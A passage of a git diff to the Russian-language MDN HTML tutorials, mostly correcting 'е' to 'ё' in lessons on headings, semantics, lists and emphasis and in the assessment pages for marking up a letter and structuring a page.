не чувствуете, что это необходимо.</span></span> <span id="result_box" lang="ru"><span>Документы с большим количеством уровней (то есть с глубокой иерархией) становятся громоздкими и трудными для навигации.</span></span> <span id="result_box" lang="ru"><span>В таких случаях рекомендуется распределять контент по нескольким страницам, если это возможно.</span></span></li> </ul> <h3 id="Зачем_нам_необходима_структура">Зачем нам необходима структура?</h3> -<p><span id="result_box" lang="ru"><span>Чтобы ответить на этот вопрос, давайте посмотрим на </span></span> <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a> —<span lang="ru"><span> отправную точку нашего примера для этой статьи (хороший рецепт хумуса).</span></span> <span id="result_box" lang="ru"><span>Вы должны сохранить копию этого файла на своем локальном компьютере, так как вам понадобится это для упражнений позже.</span></span> <span id="result_box" lang="ru"><span>Сейчас тело этого документа содержит несколько фрагментов контента — они не отмечены каким-либо образом, но они разделены разрывами строк (был нажат Enter / Return для перехода на следующую строку).</span></span></p> +<p><span id="result_box" lang="ru"><span>Чтобы ответить на этот вопрос, давайте посмотрим на </span></span> <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a> —<span lang="ru"><span> отправную точку нашего примера для этой статьи (хороший рецепт хумуса).</span></span> <span id="result_box" lang="ru"><span>Вы должны сохранить копию этого файла на своём локальном компьютере, так как вам понадобится это для упражнений позже.</span></span> <span id="result_box" lang="ru"><span>Сейчас тело этого документа содержит несколько фрагментов контента — они не отмечены каким-либо образом, но они разделены разрывами строк (был нажат Enter / Return для перехода на следующую строку).</span></span></p> -<p><span id="result_box" lang="ru"><span>Однако, когда вы откроете документ в своем браузере, вы увидите, что текст выглядит как один большой кусок!</span></span></p> +<p><span id="result_box" lang="ru"><span>Однако, когда вы откроете документ в своём браузере, вы увидите, что текст выглядит как один большой кусок!</span></span></p> <p><img alt="A webpage that shows a wall of unformatted text, because there are no elements on the page to structure it." src="https://mdn.mozillademos.org/files/14827/Screen%20Shot%202017-03-29%20at%2009.20.35.png" style="display: block; height: 377px; margin: 0px auto; width: 600px;"></p> @@ -238,7 +238,7 @@ textarea.onkeyup = function(){ <h3 id="Почему_мы_нуждаемся_в_семантике">Почему мы нуждаемся в семантике?</h3> -<p><span id="result_box" lang="ru"><span>Семантика проявляется всюду вокруг нас — мы полагаемся на опыт, который рассказывает нам, какова функция бытовых предметов;</span> <span>когда мы что-то видим, мы знаем, какова его функция.</span> <span>Так, например, мы ожидаем, что красный свет на светофоре означает «стоп», а зеленый свет означает «идти».</span> <span>Жизнь станет очень сложной, если применяется неправильная семантика (какие-либо страны используют красный цвет для обозначения «идти»? Надеюсь, что нет.)</span></span></p> +<p><span id="result_box" lang="ru"><span>Семантика проявляется всюду вокруг нас — мы полагаемся на опыт, который рассказывает нам, какова функция бытовых предметов;</span> <span>когда мы что-то видим, мы знаем, какова его функция.</span> <span>Так, например, мы ожидаем, что красный свет на светофоре означает «стоп», а зелёный свет означает «идти».</span> <span>Жизнь станет очень сложной, если применяется неправильная семантика (какие-либо страны используют красный цвет для обозначения «идти»? Надеюсь, что нет.)</span></span></p> <p><span id="result_box" lang="ru"><span>В подобном ключе нам нужно убедиться, что мы используем правильные элементы, придавая нашему контенту правильное значение, функцию или внешний вид.</span> <span>В этом контексте элемент {{htmlelement ("h1")}} также является семантическим элементом, который даёт тексту, который он обёртывает, роль (или значение) «заголовка верхнего уровня на вашей странице».</span></span></p> @@ -258,7 +258,7 @@ textarea.onkeyup = function(){ <h3 id="Неупорядоченные">Неупорядоченные</h3> -<p><span id="result_box" lang="ru"><span>Неупорядоченные списки используются для элементов, для которых порядок не имеет значения, — возьмем, к примеру, список покупок:</span></span></p> +<p><span id="result_box" lang="ru"><span>Неупорядоченные списки используются для элементов, для которых порядок не имеет значения, — возьмём, к примеру, список покупок:</span></span></p> <pre class="notranslate">молоко яйца @@ -411,12 +411,12 @@ textarea.onkeyup = function(){ <h3 id="Упорядоченные">Упорядоченные</h3> -<p><span id="result_box" lang="ru"><span>Упорядоченные списки — это списки, в которых порядок элементов имеет значение, — возьмем в качестве примера маршрут следования:</span></span></p> +<p><span id="result_box" lang="ru"><span>Упорядоченные списки — это списки, в которых порядок элементов имеет значение, — возьмём в качестве примера маршрут следования:</span></span></p> <pre class="notranslate">Двигайтесь до конца дороги Поверните направо -Езжайте прямо через первые два перекрестка с круговым движением -Поверните налево на третьем перекрестке +Езжайте прямо через первые два перекрёстка с круговым движением +Поверните налево на третьем перекрёстке Школа справа от вас, 300 метров вверх по дороге</pre> <p><span id="result_box" lang="ru"><span>Структура разметки такая же, как для неупорядоченных списков, за исключением того, что вы должны обернуть элементы списка в элемент {{htmlelement ("ol")}} (ordered list), а не <ul>:</span></span></p> @@ -424,8 +424,8 @@ textarea.onkeyup = function(){ <pre class="brush: html notranslate"><ol> <li>Двигайтесь до конца дороги</li> <li>Поверните направо</li> - <li>Езжайте прямо через первые два перекрестка с круговым движением</li> - <li>Поверните налево на третьем перекрестке</li> + <li>Езжайте прямо через первые два перекрёстка с круговым движением</li> + <li>Поверните налево на третьем перекрёстке</li> <li>Школа справа от вас, в 300 метрах вверх по дороге</li> </ol></pre> @@ -444,8 +444,8 @@ textarea.onkeyup = function(){ <textarea id="code" class="input" style="min-height: 200px; width: 95%"></code>Двигайтесь до конца дороги Поверните направо -Езжайте прямо через первые два перекрестка с круговым движением -Поверните налево на третьем перекрестке +Езжайте прямо через первые два перекрёстка с круговым движением +Поверните налево на третьем перекрёстке Школа справа от вас, 300 метров вверх по дороге<code></textarea> <div class="playable-buttons"> @@ -517,7 +517,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<ol>\n<li>Двигайтесь до конца дороги</li>\n<li>Поверните направо</li>\n<li>Езжайте прямо через первые два перекрестка с круговым движением</li>\n<li>Поверните налево на третьем перекрестке</li>\n<li>Школа справа от вас, 300 метров вверх по дороге</li>\n</ol>'; +var htmlSolution = '<ol>\n<li>Двигайтесь до конца дороги</li>\n<li>Поверните направо</li>\n<li>Езжайте прямо через первые два перекрёстка с круговым движением</li>\n<li>Поверните налево на третьем перекрёстке</li>\n<li>Школа справа от вас, 300 метров вверх по дороге</li>\n</ol>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -601,7 +601,7 @@ textarea.onkeyup = function(){ Если вы хотите "грубый" хумус, измельчайте пару минут. Если вам нужен гладкий хумус, измельчайте дольше. - По вкусу вы также можете добавить в небольших количествах лимон с кориандром, перец чили, лайм с чипотле, хариссу с мятой или же шпинат с брынзой. Попробуйте и решите, что подойдет вам. + По вкусу вы также можете добавить в небольших количествах лимон с кориандром, перец чили, лайм с чипотле, хариссу с мятой или же шпинат с брынзой. Попробуйте и решите, что подойдёт вам. Хранение @@ -725,7 +725,7 @@ textarea.onkeyup = function(){ <h3 id="Вложенные_списки">Вложенные списки</h3> -<p><span id="result_box" lang="ru"><span>Вполне нормально вложить один список в другой.</span> <span>Возможно, вы захотите, чтобы один список располагался внутри другого.</span> <span>Давайте возьмем второй список из нашего примера рецепта:</span></span></p> +<p><span id="result_box" lang="ru"><span>Вполне нормально вложить один список в другой.</span> <span>Возможно, вы захотите, чтобы один список располагался внутри другого.</span> <span>Давайте возьмём второй список из нашего примера рецепта:</span></span></p> <pre class="brush: html notranslate"><ol> <li>Очистите чеснок от кожуры и крупно нарежьте.</li> @@ -757,14 +757,14 @@ textarea.onkeyup = function(){ <h2 id="Акцент_и_важность"><span class="short_text" id="result_box" lang="ru"><span>Акцент и важность</span></span></h2> <div id="gt-res-content"> -<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="ru"><span>В обиходе мы часто подчеркиваем определённые слова, чтобы изменить смысл предложения и мы часто хотим отметить некоторые слова как важные или разные в некотором роде.</span> <span>HTML предоставляет различные семантические элементы, позволяющие нам добавлять текстовые материалы с такими эффектами, и в этом разделе мы рассмотрим несколько наиболее распространенных.</span></span></div> +<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="ru"><span>В обиходе мы часто подчёркиваем определённые слова, чтобы изменить смысл предложения и мы часто хотим отметить некоторые слова как важные или разные в некотором роде.</span> <span>HTML предоставляет различные семантические элементы, позволяющие нам добавлять текстовые материалы с такими эффектами, и в этом разделе мы рассмотрим несколько наиболее распространенных.</span></span></div> <div class="trans-verified-button-small" dir="ltr"></div> </div> <h3 id="Акцент">Акцент</h3> -<p><span id="result_box" lang="ru"><span>Когда мы хотим добавить акцент в разговорный язык, мы подчеркиваем определенные слова, тонко изменяя смысл того, что мы говорим.</span> <span>Точно так же на письменном языке мы склонны подчеркивать слова, выделяя их <em>курсивом</em>.</span> <span>Например, следующие два предложения имеют разные значения.</span></span></p> +<p><span id="result_box" lang="ru"><span>Когда мы хотим добавить акцент в разговорный язык, мы подчёркиваем определённые слова, тонко изменяя смысл того, что мы говорим.</span> <span>Точно так же на письменном языке мы склонны подчёркивать слова, выделяя их <em>курсивом</em>.</span> <span>Например, следующие два предложения имеют разные значения.</span></span></p> <p><span class="short_text" id="result_box" lang="ru"><span>Я рад, что ты не опоздал.</span></span></p> @@ -778,7 +778,7 @@ textarea.onkeyup = function(){ <h3 id="Важное_значение"><span class="short_text" id="result_box" lang="ru"><span>Важное значение</span></span></h3> -<p><span id="result_box" lang="ru"><span>Чтобы подчеркнуть важные слова, мы склонны подчеркивать их в устной речи и <strong>выделять жирным</strong> на письменном языке.</span> <span>Например:</span></span></p> +<p><span id="result_box" lang="ru"><span>Чтобы подчеркнуть важные слова, мы склонны подчёркивать их в устной речи и <strong>выделять жирным</strong> на письменном языке.</span> <span>Например:</span></span></p> <p><span id="result_box" lang="ru"><span>Эта жидкость <strong>очень токсична</strong>.</span><br> <br> @@ -928,23 +928,23 @@ textarea.onkeyup = function(){ <h3 id="Курсив_жирный_шрифт_подчеркивание...">Курсив, жирный шрифт, подчеркивание...</h3> <div id="gt-res-content"> -<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="ru"><span>Элементы, которые мы обсуждали до сих пор, имеют четкую привязку к семантике.</span> <span>Ситуация с {{htmlelement ("b")}}, {{htmlelement ("i")}} и {{htmlelement ("u")}} несколько сложнее.</span> <span>Они появились в эпоху, когда CSS поддерживался плохо или вообще не поддерживался</span></span><span lang="ru"><span>, чтобы люди могли писать <strong>жирный </strong>текст, <em>курсив </em>или <u>подчеркнутый</u> текст.</span> <span>Такие элементы, которые влияют только на внешний вид, а не на семантику, известны как элементы представления и больше не должны использоваться, поскольку, как мы видели ранее, семантика очень важна для доступности людям с ограниченными возможностями, SEO и так далее.</span></span></div> +<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="ru"><span>Элементы, которые мы обсуждали до сих пор, имеют чёткую привязку к семантике.</span> <span>Ситуация с {{htmlelement ("b")}}, {{htmlelement ("i")}} и {{htmlelement ("u")}} несколько сложнее.</span> <span>Они появились в эпоху, когда CSS поддерживался плохо или вообще не поддерживался</span></span><span lang="ru"><span>, чтобы люди могли писать <strong>жирный </strong>текст, <em>курсив </em>или <u>подчёркнутый</u> текст.</span> <span>Такие элементы, которые влияют только на внешний вид, а не на семантику, известны как элементы представления и больше не должны использоваться, поскольку, как мы видели ранее, семантика очень важна для доступности людям с ограниченными возможностями, SEO и так далее.</span></span></div> <div class="trans-verified-button-small" dir="ltr"></div> </div> <p><span id="result_box" lang="ru"><span>HTML5 переопределил <b>, <i> и <u> с новыми, несколько запутанными, семантическими ролями.</span></span></p> -<p><span id="result_box" lang="ru"><span class="alt-edited">Вот хорошее правило: предпочтительней использовать <b>, <i> или <u> для передачи значения, традиционно передаваемого жирным шрифтом, курсивом или подчеркиванием, при условии, что нет более подходящего элемента. Тем не менее, всегда важно сохранить менталитет доступности. Концепция курсива не очень помогает людям, использующим устройства для чтения с экрана, или людям, использующим систему письма, отличную от латинского алфавита.</span></span></p> +<p><span id="result_box" lang="ru"><span class="alt-edited">Вот хорошее правило: предпочтительней использовать <b>, <i> или <u> для передачи значения, традиционно передаваемого жирным шрифтом, курсивом или подчёркиванием, при условии, что нет более подходящего элемента. Тем не менее, всегда важно сохранить менталитет доступности. Концепция курсива не очень помогает людям, использующим устройства для чтения с экрана, или людям, использующим систему письма, отличную от латинского алфавита.</span></span></p> <ul> <li>{{HTMLElement ('i')}} используется для передачи значения, традиционно передаваемого курсивом: иностранные слова, таксономические обозначения, технические термины, мысли ...</li> <li><span id="result_box" lang="ru"><span>{{HTMLElement ('b')}} используется для передачи значения, традиционно передаваемого жирным шрифтом: ключевые слова, названия продуктов, предложения ...</span></span></li> - <li><span id="result_box" lang="ru"><span>{{HTMLElement ('u')}} используется для передачи значения, традиционно передаваемого подчеркиванием: имя собственное</span></span><span lang="ru"><span>, орфографическая ошибка ...</span></span></li> + <li><span id="result_box" lang="ru"><span>{{HTMLElement ('u')}} используется для передачи значения, традиционно передаваемого подчёркиванием: имя собственное</span></span><span lang="ru"><span>, орфографическая ошибка ...</span></span></li> </ul> <div class="note"> -<p><span id="result_box" lang="ru"><span>Предупреждение о подчеркивании:<strong> люди сильно ассоциируют подчеркивание с гиперссылками</strong>.</span> <span>Поэтому в Интернете лучше всего подчеркнуть только ссылки.</span> <span>Используйте элемент <u>, когда он семантически подходит, но подумайте о том, чтобы использовать CSS для изменения подчеркивания по умолчанию для чего-то более подходящего в Интернете.</span> <span>Пример ниже иллюстрирует, как это можно сделать.</span></span></p> +<p><span id="result_box" lang="ru"><span>Предупреждение о подчёркивании:<strong> люди сильно ассоциируют подчёркивание с гиперссылками</strong>.</span> <span>Поэтому в Интернете лучше всего подчеркнуть только ссылки.</span> <span>Используйте элемент <u>, когда он семантически подходит, но подумайте о том, чтобы использовать CSS для изменения подчёркивания по умолчанию для чего-то более подходящего в Интернете.</span> <span>Пример ниже иллюстрирует, как это можно сделать.</span></span></p> </div> <pre class="brush: html notranslate"><!-- Научные наименования --> @@ -987,7 +987,7 @@ textarea.onkeyup = function(){ <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Что такое заголовок? Метаданные в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">Основы редактирования текста в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a></li> - <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углубленное форматирование текста</a></li> + <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углублённое форматирование текста</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Структура документа и веб-сайта</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">Отладка HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Разметка письма</a></li> diff --git a/files/ru/learn/html/introduction_to_html/index.html b/files/ru/learn/html/introduction_to_html/index.html index c914c8ff27..9d847f1dfe 100644 --- a/files/ru/learn/html/introduction_to_html/index.html +++ b/files/ru/learn/html/introduction_to_html/index.html @@ -41,17 +41,17 @@ original_slug: Learn/HTML/Введение_в_HTML <dd>Основной задачей HTML является придание тексту значения <strong>(</strong>также известно, как <strong>семантика</strong>), чтобы браузер знал, как его правильно отображать. В этой статье рассматривается то, как использовать HTML, чтобы разбить блок текста на структуру из заголовков и абзацев, добавить акцент/значение слов, создать списки и многое другое.</dd> <dt><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a></dt> <dd>Гиперссылки очень важны — ведь именно они делают интернет интернетом. В этой статье описан синтаксис, необходимый для создания ссылок, а также описано их наилучшее применение на практике.</dd> - <dt><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углубленное форматирование текста</a></dt> + <dt><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углублённое форматирование текста</a></dt> <dd>Существует множество других элементов HTML для редактирования текста, про которые мы вам не рассказали в статье <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">Основы редактирования текста в HTML</a>. Описанные здесь элементы менее известны, но о них также полезно знать. Здесь вы узнаете о разметке цитат, списках описания, компьютерном коде и другом сопутствующем тексте, нижнем и верхнем индексах, контактной информации и многом другом.</dd> <dt><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Структура документа и веб-сайта</a></dt> <dd>Помимо определения отдельных частей страницы (таких как "абзац" или "изображение"), HTML также используется для определения отдельных зон веб-сайта (таких как "шапка", "меню навигации", "столбец с основным содержимым".) В этой статье рассматривается, как планировать базовую структуру веб-сайта и писать HTML для представления этой структуры.</dd> <dt><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">Отладка HTML</a></dt> - <dd>Писать на HTML хорошо, но что, если что-то идет не так, и вы не можете найти место ошибки в коде? В этой статье вы познакомитесь с некоторыми инструментами, которые могут Вам помочь.</dd> + <dd>Писать на HTML хорошо, но что, если что-то идёт не так, и вы не можете найти место ошибки в коде? В этой статье вы познакомитесь с некоторыми инструментами, которые могут Вам помочь.</dd> </dl> <h2 id="Оценка">Оценка</h2> -<p>Следующие задания проверят ваше понимание основ HTML, описанных в приведенных выше руководствах.</p> +<p>Следующие задания проверят ваше понимание основ HTML, описанных в приведённых выше руководствах.</p> <dl> <dt><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Разметка письма</a></dt> @@ -64,5 +64,5 @@ original_slug: Learn/HTML/Введение_в_HTML <dl> <dt><a href="https://teach.mozilla.org/activities/web-lit-basics/">Основы интернет-грамотности</a></dt> - <dd>Отличный фундаментальный курс Mozilla, который дает множество тестов, проверяющих знания, о которых мы говорили в модуле <em>Введение в HTML. </em>Учащиеся знакомятся с чтением, письмом и использованием сети в модуле из 6 частей. Откройте для себя основы Интернета через производство и сотрудничество.</dd> + <dd>Отличный фундаментальный курс Mozilla, который даёт множество тестов, проверяющих знания, о которых мы говорили в модуле <em>Введение в HTML. </em>Учащиеся знакомятся с чтением, письмом и использованием сети в модуле из 6 частей. Откройте для себя основы Интернета через производство и сотрудничество.</dd> </dl> diff --git a/files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html b/files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html index 4638bb8c24..26d593df31 100644 --- a/files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html +++ b/files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html @@ -17,7 +17,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Marking_up_a_letter <tr> <th scope="row">Знания:</th> <td> - <p>Перед выполнением этого задания вы должны пройти <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%9D%D0%B0%D1%87%D0%B0%D0%BB%D0%BE_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B">Начало работы с HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Что такое заголовок? Метаданные в HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">Основы редактирования текста в HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a>, и <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углубленное форматирование текста</a>.</p> + <p>Перед выполнением этого задания вы должны пройти <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%9D%D0%B0%D1%87%D0%B0%D0%BB%D0%BE_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B">Начало работы с HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Что такое заголовок? Метаданные в HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">Основы редактирования текста в HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a>, и <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углублённое форматирование текста</a>.</p> </td> </tr> <tr> @@ -50,7 +50,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Marking_up_a_letter <ul> <li>Имена отправителя и получателя (как и "Tel" и "Email") должны быть выделены жирным.</li> - <li>Четырем датам в документе необходимо выбрать правильные элементы содержащие машинно-читаемые даты.</li> + <li>Четырём датам в документе необходимо выбрать правильные элементы содержащие машинно-читаемые даты.</li> <li>Первый адрес и первая дата в письме должны иметь атрибут <code>class</code> со значением <code>"sender-column"</code>; CSS стиль, который вы добавите позже, позволит выравнять по правому боку, как оно и должно быть в классической разметке письма.</li> <li>Пять акронимов/аббревиатур в главном тексте письма должны быть размечены, чтобы предоставить подсказки для каждого акронима/аббревиатуры.</li> <li>Шесть под/надстрочных элементов должны быть оформлены корректно в химической формуле, как и числа 10<sup>3</sup> и 10<sup>4 </sup>(степень числа должна быть над числом).</li> @@ -94,7 +94,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Marking_up_a_letter <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Что такое заголовок? Метаданные в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">Основы редактирования текста в HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a></li> - <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углубленное форматирование текста</a></li> + <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Углублённое форматирование текста</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Структура документа и веб-сайта</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">Отладка HTML</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Разметка письма</a></li> diff --git a/files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html b/files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html index 3f0fe71917..f5a62ee916 100644 --- a/files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html +++ b/files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html @@ -10,7 +10,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content <div>{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</div> -<p class="summary">Разметить страницу так, чтобы к ней было просто применить CSS — первое, чему должен научиться будущий веб-разработчик. В этом задании вам придется подумать о том, как должна выглядеть страница, и подобрать подходящую семантическую разметку.</p> +<p class="summary">Разметить страницу так, чтобы к ней было просто применить CSS — первое, чему должен научиться будущий веб-разработчик. В этом задании вам придётся подумать о том, как должна выглядеть страница, и подобрать подходящую семантическую разметку.</p> <table class="learn-box standard-table"> <tbody> @@ -21,7 +21,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content <tr> <th scope="row">Цель:</th> <td> - <p>Проверить знания структуры веб-страницы и ее перевода в разметку.</p> + <p>Проверить знания структуры веб-страницы и её перевода в разметку.</p> </td> </tr> </tbody> @@ -49,7 +49,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content <li>Нижний колонтитул, содержащий информацию об авторских правах и разработчиках.</li> </ul> -<p>Вам необходимо добавить подходящую обертку для:</p> +<p>Вам необходимо добавить подходящую обёртку для:</p> <ul> <li>Заголовка</li> @@ -63,7 +63,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content <p>Вы также должны:</p> <ul> - <li>Примените предоставленный CSS к странице, добавив еще один элемент {{htmlelement ("link")}} чуть ниже существующего, указанного в начале.</li> + <li>Примените предоставленный CSS к странице, 